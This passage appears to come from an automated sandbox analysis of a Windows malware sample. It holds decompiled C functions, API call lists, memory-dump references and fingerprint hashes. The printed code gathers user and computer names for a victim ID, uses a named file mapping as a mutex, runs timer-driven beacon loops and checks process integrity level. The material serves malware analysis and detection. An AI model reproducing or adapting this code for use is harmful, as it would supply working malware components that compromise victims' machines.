							if(_a20 == 0 || _a20 == 0x10d2) {
								goto L24;
							} else {
								goto L23;
							}
						}
						_a20 = _a20 & 0x00000000;
						goto L18;
					}
				}
			}

0x033d6db7
0x033d6db7
0x033d6db7
0x033d6dc0
0x033d6dc5
0x033d6dcc
0x033d6dce
0x033d6dce
0x033d6ddb
0x033d6de6
0x033d6de9
0x033d6df4
0x033d6df7
0x033d6dfc
0x033d6dff
0x033d6e04
0x033d6e07
0x033d6e13
0x033d6e20
0x033d6e22
0x033d6e28
0x033d6e2d
0x033d6e38
0x033d6e3a
0x033d6e3d
0x033d6e43
0x033d6e45
0x033d6e4d
0x033d6e58
0x033d6e5a
0x033d6e5d
0x033d6e5d
0x033d6e5f
0x033d6e66
0x033d6e6b
0x033d6e78
0x033d6e7a
0x033d6e7f
0x033d6e87
0x033d6e8a
0x033d6e90
0x033d6e9b
0x033d6e9d
0x033d6ea2
0x033d6ea7
0x033d6eaa
0x033d6eaf
0x033d6eba
0x033d6ebc
0x033d6ebf
0x033d6ebf
0x033d6ec1
0x033d6ec8
0x033d6ecb
0x033d6ed0
0x033d6eda
0x033d6edc
0x033d6edc
0x033d6edf
0x033d6eed
0x033d6ef2
0x033d6ef6
0x033d6ef9
0x033d70c5
0x033d70cd
0x033d70da
0x033d6eff
0x033d6f0b
0x033d6f13
0x033d6f16
0x033d70b5
0x033d70bf
0x00000000
0x033d70bf
0x033d6f22
0x033d6f27
0x033d6f30
0x033d6f41
0x033d6f45
0x033d6f4e
0x033d6f54
0x033d6f5c
0x033d6f61
0x033d6f68
0x033d6f71
0x033d6f77
0x033d70a5
0x033d70af
0x00000000
0x033d70af
0x033d6f83
0x033d6f89
0x033d6f8a
0x033d6f91
0x033d6f94
0x033d7097
0x033d709f
0x00000000
0x033d709f
0x033d6f9d
0x033d6fa3
0x033d6fac
0x033d6fb5
0x033d6fbb
0x033d6fc2
0x033d6fc9
0x033d6fcc
0x033d70dd
0x033d707f
0x033d707f
0x033d7084
0x033d708f
0x033d7095
0x00000000
0x033d7095
0x033d6fd6
0x033d6fdd
0x033d6fe0
0x033d6fe5
0x033d6ff0
0x033d6ff5
0x033d6ff8
0x033d6ffe
0x033d7004
0x033d700a
0x033d700d
0x033d7013
0x033d7016
0x033d701b
0x033d701f
0x033d701f
0x033d702b
0x033d7037
0x033d703b
0x033d703d
0x033d7042
0x033d7044
0x033d7049
0x033d704e
0x033d705b
0x033d7063
0x033d7066
0x033d7066
0x033d7042
0x00000000
0x033d702d
0x033d7031
0x033d7068
0x033d706b
0x033d7074
0x00000000
0x00000000
0x00000000
0x00000000
0x033d7074
0x033d7033
0x00000000
0x033d7033
0x033d702b

APIs

GetTickCount.KERNEL32 ref: 033D6DCE
wsprintfA.USER32 ref: 033D6E1B
wsprintfA.USER32 ref: 033D6E38
wsprintfA.USER32 ref: 033D6E58
wsprintfA.USER32 ref: 033D6E76
wsprintfA.USER32 ref: 033D6E99
wsprintfA.USER32 ref: 033D6EBA
wsprintfA.USER32 ref: 033D6EDA
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 033D6F0B
GetTickCount.KERNEL32 ref: 033D6F1C
RtlEnterCriticalSection.NTDLL(05A495F0), ref: 033D6F30
RtlLeaveCriticalSection.NTDLL(05A495F0), ref: 033D6F4E

Part of subcall function 033D5AE3: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,00000000,033D6301,00000000,05A49630), ref: 033D5B0E
Part of subcall function 033D5AE3: lstrlen.KERNEL32(00000000,?,00000000,033D6301,00000000,05A49630), ref: 033D5B16
Part of subcall function 033D5AE3: strcpy.NTDLL ref: 033D5B2D
Part of subcall function 033D5AE3: lstrcat.KERNEL32(00000000,00000000), ref: 033D5B38
Part of subcall function 033D5AE3: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,033D6301,?,00000000,033D6301,00000000,05A49630), ref: 033D5B55

StrTrimA.SHLWAPI(00000000,033D92CC,?,05A49630), ref: 033D6F83

Part of subcall function 033D2829: lstrlen.KERNEL32(05A4887A,00000000,00000000,00000000,033D6328,00000000), ref: 033D2839
Part of subcall function 033D2829: lstrlen.KERNEL32(?), ref: 033D2841
Part of subcall function 033D2829: lstrcpy.KERNEL32(00000000,05A4887A), ref: 033D2855
Part of subcall function 033D2829: lstrcat.KERNEL32(00000000,?), ref: 033D2860

lstrcpy.KERNEL32(00000000,?), ref: 033D6FA3
lstrcat.KERNEL32(00000000,?), ref: 033D6FB5
lstrcat.KERNEL32(00000000,00000000), ref: 033D6FBB

Part of subcall function 033D33FA: lstrlen.KERNEL32(?,033DA380,75187FC0,00000000,033D2788,?,?,?,?,?,033D3EAC,?), ref: 033D3403
Part of subcall function 033D33FA: mbstowcs.NTDLL ref: 033D342A
Part of subcall function 033D33FA: memset.NTDLL ref: 033D343C

wcstombs.NTDLL ref: 033D704E

Part of subcall function 033D1671: SysAllocString.OLEAUT32(00000000), ref: 033D16B2
Part of subcall function 033D1671: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,00000000), ref: 033D1734
Part of subcall function 033D1671: StrStrIW.SHLWAPI(00000000,006E0069), ref: 033D1773

Part of subcall function 033D2A03: RtlFreeHeap.NTDLL(00000000,00000000,033D4072,00000000,?,?,00000000,?,?,?,?,?,?,033D44AE,00000000), ref: 033D2A0F

RtlFreeHeap.NTDLL(00000000,?,00000000), ref: 033D708F
RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 033D709F
RtlFreeHeap.NTDLL(00000000,00000000,?,05A49630), ref: 033D70AF
HeapFree.KERNEL32(00000000,?), ref: 033D70BF
RtlFreeHeap.NTDLL(00000000,?), ref: 033D70CD

Strings

Alh, xrefs: 033D6DDB

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Heapwsprintf$Free$lstrlen$lstrcat$CountCriticalSectionTickTrimlstrcpy$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID: Alh
API String ID: 2871901346-2065183738
Opcode ID: f0df48c78d952a697777bb3d1a8ba779f7c01fe96f875ea93b6c76b4001f3448
Instruction ID: 3e7c169b72287436a0d66711c5b83608a1fce08b8de5453040bbf326ac8afe91
Opcode Fuzzy Hash: f0df48c78d952a697777bb3d1a8ba779f7c01fe96f875ea93b6c76b4001f3448
Instruction Fuzzy Hash: 2AA14776901219AFCB11EF68FCC8A9A7BADFF48350F194025F809C7294DB35D965CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 033D1B47, Relevance: 16.6, APIs: 11, Instructions: 149
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E033D1B47(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				signed int _t66;
				void* _t69;
				void* _t71;
				signed int _t72;
				intOrPtr _t74;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t74 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x33da298);
					_v20 = 0;
					_v16 = 0;
					L033D7F56();
					_v36.LowPart = _t46;
					_v32 = _t74;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x33da2c4; // 0x2e0
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x33da2a4 = 5;
						} else {
							_t69 = E033D4A3C(_t74); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x33da2b8 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t72 = _v12;
						_t58 = _t72 << 4;
						_t76 = _t80 + (_t72 << 4) - 0x54;
						_t73 = _t72 + 1;
						_v24 = _t72 + 1;
						_t61 = E033D243C( &_v20, _t73, _t73, _t80 + _t58 - 0x58, _t76,  &_v16); // executed
						_v8.LowPart = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v24;
						_t90 = _t66 - 3;
						_v12 = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E033D7289(_t73, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x33da29c);
							goto L21;
						} else {
							__eflags =  *0x33da2a0; // 0xa
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E033D2813();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x33da2a0);
								L21:
								L033D7F56();
								_v36.LowPart = _t61;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t65;
								_v8.LowPart = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t71 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x33da290, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t71 = _t71 - 1;
					} while (_t71 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x033d1b47
0x033d1b59
0x033d1b5c
0x033d1b68
0x033d1b70
0x033d1b73
0x033d1cd9
0x033d1b79
0x033d1b79
0x033d1b7b
0x033d1b80
0x033d1b81
0x033d1b87
0x033d1b8a
0x033d1b8d
0x033d1b9b
0x033d1ba6
0x033d1ba9
0x033d1bab
0x033d1bb8
0x033d1bc2
0x033d1bc6
0x033d1bc9
0x033d1bce
0x033d1bd9
0x033d1bd9
0x033d1bd0
0x033d1bd0
0x033d1bd7
0x00000000
0x00000000
0x033d1bd7
0x033d1be3
0x00000000
0x033d1be6
0x033d1bea
0x033d1bf5
0x033d1bf5
0x033d1bfc
0x033d1c01
0x033d1c08
0x033d1c11
0x033d1c17
0x033d1c1a
0x033d1c21
0x033d1c24
0x00000000
0x00000000
0x033d1c26
0x033d1c29
0x033d1c2c
0x033d1c2f
0x00000000
0x033d1c31
0x033d1c40
0x033d1c40
0x00000000
0x033d1c6e
0x033d1c6e
0x033d1c73
0x033d1c92
0x033d1c94
0x033d1c99
0x033d1c9a
0x00000000
0x033d1c75
0x033d1c75
0x033d1c7b
0x00000000
0x033d1c7d
0x033d1c7d
0x033d1c82
0x033d1c84
0x033d1c89
0x033d1c8a
0x033d1ca0
0x033d1ca0
0x033d1ca8
0x033d1cb3
0x033d1cb6
0x033d1cc1
0x033d1cc3
0x033d1cc5
0x033d1cc8
0x00000000
0x033d1cce
0x00000000
0x033d1cce
0x033d1cc8
0x033d1c7b
0x00000000
0x033d1c73
0x033d1c43
0x033d1c45
0x033d1c48
0x033d1c49
0x033d1c49
0x033d1c4d
0x033d1c57
0x033d1c57
0x033d1c5d
0x033d1c60
0x033d1c60
0x033d1c66
0x033d1c66
0x033d1ce3
0x00000000

APIs

memset.NTDLL ref: 033D1B5C
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 033D1B68
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 033D1B8D
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 033D1BA9
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 033D1BC2
HeapFree.KERNEL32(00000000,00000000), ref: 033D1C57
CloseHandle.KERNEL32(?), ref: 033D1C66
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 033D1CA0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,033D2F7D), ref: 033D1CB6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 033D1CC1

Part of subcall function 033D4A3C: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05A49338,00000000,?,7519F710,00000000,7519F730), ref: 033D4A8B
Part of subcall function 033D4A3C: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05A49370,?,00000000,30314549,00000014,004F0053,05A4932C), ref: 033D4B28
Part of subcall function 033D4A3C: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,033D1BD5), ref: 033D4B3A

GetLastError.KERNEL32 ref: 033D1CD3

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: ceb4f39449455c46e14bf9025710f7d4e9ba0999bc34dc7438ca3d092a2b5b2e
Instruction ID: dc0cd1633b3bcd2f1090cf7571de454f77b8b33754e0d60a2688211feaec59eb
Opcode Fuzzy Hash: ceb4f39449455c46e14bf9025710f7d4e9ba0999bc34dc7438ca3d092a2b5b2e
Instruction Fuzzy Hash: 6B5167B6C06228AFDB10EF95FD84EEEBBBCEB09360F244116F414E6184D7759650CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 033D57AD, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E033D57AD(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L033D7F50();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x33da2d0; // 0x266d5a8
				_t5 = _t13 + 0x33db84d; // 0x5a48df5
				_t6 = _t13 + 0x33db580; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L033D7C2A();
				_t17 = CreateFileMappingW(0xffffffff, 0x33da2d4, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x033d57ad
0x033d57b5
0x033d57b9
0x033d57bf
0x033d57c4
0x033d57c9
0x033d57cc
0x033d57cf
0x033d57d4
0x033d57d5
0x033d57d8
0x033d57dd
0x033d57e4
0x033d57ee
0x033d57f0
0x033d57f1
0x033d57f4
0x033d5810
0x033d5816
0x033d581a
0x033d5868
0x033d581c
0x033d5829
0x033d5839
0x033d5841
0x033d5853
0x033d5857
0x00000000
0x00000000
0x033d5843
0x033d5846
0x033d584b
0x033d584d
0x033d584d
0x033d582b
0x033d582d
0x033d5859
0x033d585a
0x033d585a
0x033d5829
0x033d586f

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,033D2DF9,?,00000001,?), ref: 033D57B9
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 033D57CF
_snwprintf.NTDLL ref: 033D57F4
CreateFileMappingW.KERNELBASE(000000FF,033DA2D4,00000004,00000000,00001000,?), ref: 033D5810
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,033D2DF9,?), ref: 033D5822
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 033D5839
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,033D2DF9), ref: 033D585A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,033D2DF9,?), ref: 033D5862

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 88c88b5fc171f4721004728cc9958ef20988ab11b15a8fc29088d3ad174f7694
Instruction ID: b1c4b35910abaa2e13c823fbdebf0b4a4f0170f158c16609e75f6ea5b504ed93
Opcode Fuzzy Hash: 88c88b5fc171f4721004728cc9958ef20988ab11b15a8fc29088d3ad174f7694
Instruction Fuzzy Hash: 3821CD77A02208BBE711EB64FC85F9DB7BDBB44741F290124FA06EB1C4E7709A058B90

Uniqueness

Uniqueness Score: -1.00%

Function 033D2D63, Relevance: 10.7, APIs: 7, Instructions: 191
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E033D2D63(signed int __edx) {
				signed int _v8;
				long _v12;
				signed int _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				void* __edi;
				void* __esi;
				void* _t27;
				long _t28;
				long _t31;
				intOrPtr _t32;
				void* _t36;
				signed int _t37;
				intOrPtr _t38;
				void* _t39;
				CHAR* _t42;
				long _t48;
				long _t49;
				void* _t54;
				void* _t56;
				intOrPtr _t64;
				void* _t67;
				long _t71;
				void* _t72;
				signed char _t74;
				intOrPtr _t76;
				signed int _t77;
				long _t82;
				long _t84;
				CHAR* _t87;
				void* _t88;

				_t79 = __edx;
				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				_t27 = E033D5901();
				if(_t27 != 0) {
					_t77 =  *0x33da2b4; // 0x4000000a
					_t73 = (_t77 & 0xf0000000) + _t27;
					 *0x33da2b4 = (_t77 & 0xf0000000) + _t27;
				}
				_t28 =  *0x33da14c(0, 2); // executed
				_v20 = _t28;
				if(_t28 == 0 || _t28 == 1 || _t28 == 0x80010106) {
					_t31 = E033D4097( &_v8,  &_v16); // executed
					_push(0);
					_t84 = _t31;
					_t32 =  *0x33da2d0; // 0x266d5a8
					_push(0x33da2d8);
					_push(1);
					_t7 = _t32 + 0x33db5bc; // 0x4d283a53
					 *0x33da2d4 = 0xc;
					 *0x33da2dc = 0;
					L033D5EC2();
					_t36 = E033D57AD(_t79,  &_v24,  &_v12); // executed
					if(_t36 == 0) {
						CloseHandle(_v24);
					}
					if(_t84 != 5) {
						_t37 = _v16;
						__eflags = _t37;
						if(_t37 != 0) {
							E033D3946(_t37 ^ 0xe8fa7dd7,  &_v40);
							_t87 = E033D5C4E(0x27);
							__eflags = _t87;
							if(_t87 != 0) {
								asm("bswap eax");
								asm("bswap eax");
								asm("bswap eax");
								asm("bswap eax");
								_t64 =  *0x33da2d0; // 0x266d5a8
								_t18 = _t64 + 0x33db916; // 0x78383025
								wsprintfA(_t87, _t18, _v40, _v36, _v32, _v28);
								_t88 = _t88 + 0x18;
							}
							 *0x33da328 = _t87;
						}
						_t38 = E033D2304();
						 *0x33da2c8 =  *0x33da2c8 ^ 0xe8fa7dd7;
						 *0x33da318 = _t38;
						_t39 = E033D5C4E(0x60);
						__eflags = _t39;
						 *0x33da37c = _t39;
						if(_t39 == 0) {
							_t84 = 8;
						} else {
							memset(_t39, 0, 0x60);
							_t54 =  *0x33da37c; // 0x5a49630
							_t88 = _t88 + 0xc;
							__imp__(_t54 + 0x40);
							_t56 =  *0x33da37c; // 0x5a49630
							 *_t56 = 0x33db882;
							_t84 = 0;
						}
						__eflags = _t84;
						if(_t84 == 0) {
							_t42 = RtlAllocateHeap( *0x33da290, _t84, 0x52);
							__eflags = _t42;
							 *0x33da310 = _t42;
							if(_t42 == 0) {
								_t84 = 8;
							} else {
								_t74 =  *0x33da2b4; // 0x4000000a
								_t79 = _t74 & 0x000000ff;
								_t76 =  *0x33da2d0; // 0x266d5a8
								_t19 = _t76 + 0x33db212; // 0x697a6f4d
								_t73 = _t19;
								wsprintfA(_t42, _t19, _t74 & 0x000000ff, _t74 & 0x000000ff, 0x33d92c7);
							}
							__eflags = _t84;
							if(_t84 == 0) {
								asm("sbb eax, eax");
								E033D3946( ~_v8 &  *0x33da2c8, 0x33da00c); // executed
								_t84 = E033D374B(_t73);
								__eflags = _t84;
								if(_t84 != 0) {
									goto L31;
								}
								_t48 = E033D3E8F(_t73); // executed
								__eflags = _t48;
								if(_t48 != 0) {
									__eflags = _v8;
									_t82 = _v12;
									if(_v8 != 0) {
										L30:
										_t49 = E033D1B47(_t79, _t82, _v8); // executed
										_t84 = _t49;
										goto L31;
									}
									__eflags = _t82;
									if(__eflags == 0) {
										goto L31;
									}
									_t23 = _t82 + 4; // 0x5
									_t84 = E033D5D26(__eflags, _t23);
									__eflags = _t84;
									if(_t84 == 0) {
										goto L31;
									}
									goto L30;
								}
								_t84 = 8;
							}
						}
					} else {
						_t71 = _v12;
						if(_t71 == 0) {
							L31:
							if(_v20 == 0 || _v20 == 1) {
								 *0x33da150();
							}
							goto L35;
						}
						_t72 = _t71 + 4;
						do {
							_push(1);
							_push(_t72);
							_t67 = 5;
						} while (E033D63CD(_t67, 0) == 0x4c7);
					}
					goto L31;
				} else {
					_t84 = _t28;
					L35:
					return _t84;
				}
			}

0x033d2d63
0x033d2d6e
0x033d2d71
0x033d2d74
0x033d2d77
0x033d2d7e
0x033d2d80
0x033d2d8c
0x033d2d8e
0x033d2d8e
0x033d2d97
0x033d2d9f
0x033d2da2
0x033d2dbc
0x033d2dc1
0x033d2dc2
0x033d2dc4
0x033d2dc9
0x033d2dce
0x033d2dd0
0x033d2dd7
0x033d2de1
0x033d2de7
0x033d2df4
0x033d2dfb
0x033d2e00
0x033d2e00
0x033d2e09
0x033d2e32
0x033d2e35
0x033d2e42
0x033d2e49
0x033d2e55
0x033d2e57
0x033d2e59
0x033d2e5e
0x033d2e64
0x033d2e6a
0x033d2e70
0x033d2e73
0x033d2e78
0x033d2e80
0x033d2e82
0x033d2e82
0x033d2e85
0x033d2e85
0x033d2e8b
0x033d2e90
0x033d2e98
0x033d2e9d
0x033d2ea2
0x033d2ea4
0x033d2ea9
0x033d2ed8
0x033d2eab
0x033d2eb0
0x033d2eb5
0x033d2eba
0x033d2ec1
0x033d2ec7
0x033d2ecc
0x033d2ed2
0x033d2ed2
0x033d2ed9
0x033d2edb
0x033d2eea
0x033d2ef0
0x033d2ef2
0x033d2ef7
0x033d2f23
0x033d2ef9
0x033d2ef9
0x033d2eff
0x033d2f0c
0x033d2f12
0x033d2f12
0x033d2f1a
0x033d2f1c
0x033d2f24
0x033d2f26
0x033d2f2d
0x033d2f3a
0x033d2f44
0x033d2f46
0x033d2f48
0x00000000
0x00000000
0x033d2f4a
0x033d2f4f
0x033d2f51
0x033d2f58
0x033d2f5c
0x033d2f5f
0x033d2f74
0x033d2f78
0x033d2f7d
0x00000000
0x033d2f7d
0x033d2f61
0x033d2f63
0x00000000
0x00000000
0x033d2f65
0x033d2f6e
0x033d2f70
0x033d2f72
0x00000000
0x00000000
0x00000000
0x033d2f72
0x033d2f55
0x033d2f55
0x033d2f26
0x033d2e0b
0x033d2e0b
0x033d2e10
0x033d2f7f
0x033d2f83
0x033d2f8b
0x033d2f8b
0x00000000
0x033d2f83
0x033d2e16
0x033d2e19
0x033d2e19
0x033d2e1b
0x033d2e1e
0x033d2e26
0x033d2e2d
0x00000000
0x033d2f93
0x033d2f93
0x033d2f96
0x033d2f9b
0x033d2f9b

APIs

Part of subcall function 033D5901: GetModuleHandleA.KERNEL32(4C44544E,00000000,033D2D7C,00000000,00000000,00000000,?,?,?,?,?,033D44F9,?,00000001), ref: 033D5910

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(4D283A53,00000001,033DA2D8,00000000), ref: 033D2DE7
CloseHandle.KERNEL32(?,?,00000001,?,?,?,?,?,?,?,033D44F9,?,00000001), ref: 033D2E00
wsprintfA.USER32 ref: 033D2E80
memset.NTDLL ref: 033D2EB0
RtlInitializeCriticalSection.NTDLL(05A495F0), ref: 033D2EC1
RtlAllocateHeap.NTDLL(00000008,00000052,00000060), ref: 033D2EEA
wsprintfA.USER32 ref: 033D2F1A

Part of subcall function 033D3946: GetUserNameW.ADVAPI32(00000000,033D2F3F), ref: 033D397D
Part of subcall function 033D3946: RtlAllocateHeap.NTDLL(00000000,033D2F3F), ref: 033D3994
Part of subcall function 033D3946: GetUserNameW.ADVAPI32(00000000,033D2F3F), ref: 033D39A1
Part of subcall function 033D3946: HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,033D2F3F,?,?,?,?,?,033D44F9,?,00000001), ref: 033D39C2
Part of subcall function 033D3946: GetComputerNameW.KERNEL32(00000000,00000000), ref: 033D39E9
Part of subcall function 033D3946: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 033D39FD
Part of subcall function 033D3946: GetComputerNameW.KERNEL32(00000000,00000000), ref: 033D3A0A
Part of subcall function 033D3946: HeapFree.KERNEL32(00000000,00000000), ref: 033D3A28

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$AllocateName$ComputerDescriptorFreeHandleSecurityUserwsprintf$CloseConvertCriticalInitializeModuleSectionStringmemset
String ID:
API String ID: 2910951584-0
Opcode ID: 30c4c178bb0fa177cec722752214c6dbee92d7f13aadc8381b8c8dd21e1256f4
Instruction ID: cd01a897ae0dd9fa0919bbecca05d59683a75faa68fe99705a30e55fad36f45b
Opcode Fuzzy Hash: 30c4c178bb0fa177cec722752214c6dbee92d7f13aadc8381b8c8dd21e1256f4
Instruction Fuzzy Hash: CE51D477D01214ABDB21EB65FDC4BAFB3BCAB04710F090A15F805EB298D77599508B90

Uniqueness

Uniqueness Score: -1.00%

Function 033D1041, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D1041(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x33da2b4 > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E033D5C4E(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E033D2A03(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x033d104e
0x033d1055
0x033d105c
0x033d1070
0x033d107b
0x033d1093
0x033d10a0
0x033d10a3
0x033d10a8
0x033d10b3
0x033d10b7
0x033d10c6
0x033d10ca
0x033d10e6
0x033d10e6
0x033d10ea
0x033d10ea
0x033d10ef
0x033d10f3
0x033d10f9
0x033d10fa
0x033d1101
0x033d1107

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 033D1073
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,00000000,00000000), ref: 033D1093
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 033D10A3
CloseHandle.KERNEL32(00000000), ref: 033D10F3

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

